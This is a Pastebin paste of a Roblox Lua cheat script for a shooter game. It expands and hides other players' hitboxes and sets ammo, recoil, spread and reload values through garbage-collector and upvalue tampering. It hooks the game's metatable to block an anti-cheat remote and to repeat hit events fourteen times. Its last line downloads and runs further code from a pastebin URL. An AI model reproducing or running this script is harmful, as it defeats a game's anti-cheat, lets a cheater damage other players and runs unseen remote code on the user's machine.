Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- print("this shit is working")
- function getplrsname()
- for i,v in pairs(game:GetChildren()) do
- if v.ClassName == "Players" then
- return v.Name
- end
- end
- end
- local players = getplrsname()
- local plr = game[players].LocalPlayer
- coroutine.resume(coroutine.create(function()
- while wait(1) do
- coroutine.resume(coroutine.create(function()
- for _,v in pairs(game[players]:GetPlayers()) do
- if v.Name ~= plr.Name and v.Character then
- v.Character.LowerTorso.CanCollide = false
- v.Character.LowerTorso.Material = "Neon"
- v.Character.LowerTorso.Size = Vector3.new(15,15,15)
- v.Character.HumanoidRootPart.Size = Vector3.new(15,15,15)
- v.Character.LowerTorso.Transparency = 1
- v.Character.HumanoidRootPart.Transparency = 1
- end
- end
- end))
- end
- end))
- for _,fn in pairs(getgc()) do
- if type(fn) == "function" then
- local env = getfenv(fn)
- if tostring(env.script) == "Client" then
- local upvals = getupvalues or debug.getupvalues
- local setupval = setupvalue or debug.setupvalue
- for idx, val in pairs(upvals(fn)) do
- if tonumber(val) == tonumber(game:GetService("Players").LocalPlayer.PlayerGui.GUI.Vitals.Ammo.Clip.Text) then
- coroutine.wrap(function()
- while wait(0.1) do
- setupval(fn, idx, 999)
- end
- end)()
- end
- end
- end
- end
- end
- local mt = getrawmetatable(game)
- local setreadonly = setreadonly or function(a,b)if b then make_writeable(a)else make_readonly(a)end end
- setreadonly(mt, false)
- local idx,nidx,ncll = mt.__index, mt.__newindex, mt.__namecall
- mt.__namecall = function(object, ...)
- if tostring(object) == "BeanBoozled" then
- if getnamecallmethod():find("Server") then
- print("you got detected :flushed:")
- return "lol"
- end
- end
- if tostring(object) == "HitPart" then
- if getnamecallmethod():find("Server") then
- for i =0,13 do
- ncll(object, ...)
- end
- end
- end
- return ncll(object, ...)
- end
- for i,v in pairs(getgc()) do
- if type(v) == "table" then
- if rawget(v, "getammo") then
- while wait() do
- v.recoil = 0
- v.currentspread = 0
- v.mode = "automatic"
- v.reloadtime = 0
- end
- end
- end
- end
- while wait() do
- setupvalue(updateInventory, 3, 999);
- end
- loadstring(game:HttpGet(('https://pastebin.com/raw/mwUhAxjU'),true))()
Add Comment
Please, Sign In to add comment